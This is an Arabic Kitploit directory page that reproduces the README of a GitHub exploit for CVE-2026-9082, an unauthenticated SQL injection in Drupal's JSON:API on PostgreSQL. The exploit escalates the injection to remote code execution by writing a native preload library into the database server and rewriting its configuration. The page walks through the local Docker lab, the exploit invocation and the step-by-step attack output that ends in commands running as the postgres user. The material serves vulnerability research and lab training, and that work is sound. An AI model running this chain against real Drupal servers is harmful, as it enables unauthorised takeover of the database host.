Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-9082-drupal-postgresql-rce — استغلال ثغرة في Drupal JSON:API PostgreSQL لحقن SQL إلى تنفيذ تعليمات برمجية عن بعد (RCE) عبر مكتبة التحميل المسبق الأصلية. يشمل معمل Docker محلي لاختبار مسارات التصعيد لـ PostgreSQL 12–18+. | Kitploit
أدوات/GitHubGitHub/ambionics/cve-2026-9082-drupal-postgresql-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقالتعلم والتعليمتطوير الحمولاتأمن قواعد البياناتاستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
مختبرات وتدريب عملي
GitHubambionics/cve-2026-9082-drupal-postgresql-rce

cve-2026-9082-drupal-postgresql-rce

استغلال ثغرة في Drupal JSON:API PostgreSQL لحقن SQL إلى تنفيذ تعليمات برمجية عن بعد (RCE) عبر مكتبة التحميل المسبق الأصلية. يشمل معمل Docker محلي لاختبار مسارات التصعيد لـ PostgreSQL 12–18+.

عرض المستودع
11منذ 2 أشهرلم تتم المراجعة بعد

CVE-2026-9082 Drupal PostgreSQL SQLi إلى RCE

يحتوي هذا المستودع على مختبر محلي واستغلال قصير لثغرة SQL injection في Drupal JSON:API PostgreSQL الموضحة في مقال Ambionics.

الجزء المهم من الاستغلال هو التصعيد في PostgreSQL: بمجرد أن يتمكن الحقن من تقييم تعبير SELECT كمستخدم فائق (superuser) في PostgreSQL، فإنه يقوم بكتابة مكتبة تحميل مسبق أصلي عبر الكائنات الكبيرة (large objects)، ويعيد تحميل postgresql.auto.conf، ويُفعّل session_preload_libraries، ويسترد مخرجات الأوامر باستخدام pg_read_file().

يقرأ الاستغلال version() أولاً ويبني كتلة السحر (magic block) لوحدة PostgreSQL للإصدار الرئيسي المكتشف. يتعامل مع تخطيطات ABI لوحدات PostgreSQL 12 و13-14 و15-17 و18+. يجب أن يظل المترجم المحلي يُنتج كائنًا مشتركًا (shared object) لمعمارية وحدة المعالجة المركزية نفسها التي يعمل عليها خادم PostgreSQL الهدف.

يستخدم المختبر PostgreSQL 18.4، أحدث إصدار من PostgreSQL وقت كتابة هذا الشرح. تم اختبار مسار تصعيد PostgreSQL من PostgreSQL 12.20 حتى PostgreSQL 18.4.

المحتويات

root@kitploit:~
.
├── docker-compose.yml
├── drupal/
│   ├── Dockerfile
│   ├── entrypoint.sh
│   └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md

يستخدم المختبر:

root@kitploit:~
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache

Drupal متصل بـ PostgreSQL كمستخدم postgres فائق (superuser) بحيث يمكن تصعيد حقن SQL الذي يقرأ فقط (SELECT-only) إلى RCE.

المتطلبات

root@kitploit:~
docker compose version
python3 --version
cc --version

مثال على المخرجات:

root@kitploit:~
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0

تشغيل المختبر

بناء وتشغيل الحاويات:

root@kitploit:~
docker compose build --quiet
docker compose up -d

المخرجات المتوقعة:

root@kitploit:~
Container cve9082-pg18    Started
Container cve9082-drupal  Started

انتظر حتى يصبح Drupal سليمًا:

root@kitploit:~
docker compose ps

المخرجات المتوقعة:

root@kitploit:~
NAME              SERVICE   STATUS
cve9082-pg18      db        Up ... (healthy)
cve9082-drupal    drupal    Up ... (healthy)

يستمع المختبر على:

root@kitploit:~
http://127.0.0.1:8089

التحقق من المختبر

تحقق من إصدار PostgreSQL:

root@kitploit:~
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'

المخرجات المتوقعة:

root@kitploit:~
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit

تحقق من أن JSON:API يعرض المقالة المُعدّة:

root@kitploit:~
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'

المخرجات المتوقعة:

root@kitploit:~
{
    "jsonapi": {
        "version": "1.0"
    },
    "data": [
        {
            "type": "node--article"
        }
    ]
}

تثبيت تبعية Python

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt

المخرجات المتوقعة:

root@kitploit:~
Successfully installed requests-...

تشغيل الاستغلال

تنفيذ الأمر id عبر حقن SQL غير المصادق عليه في JSON:API:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id

المخرجات المتوقعة:

root@kitploit:~
[+] checking SQL injection context
    version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
    current_user: postgres superuser=True
    data_directory: /var/lib/postgresql/18/docker
    module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
    1400/14080 bytes
    ...
    14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
    189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

__exit=0
[+] restoring/clearing PostgreSQL preload settings
    152/152 bytes

تشغيل أمر آخر:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'

المخرجات المتوقعة:

root@kitploit:~
[+] reading command output
Linux ... x86_64 GNU/Linux

__exit=0

إيقاف المختبر

إيقاف الحاويات مع الاحتفاظ بحجم قاعدة البيانات:

root@kitploit:~
docker compose down

إيقاف الحاويات وحذف حجم قاعدة البيانات:

root@kitploit:~
docker compose down -v
تنزيل الأداة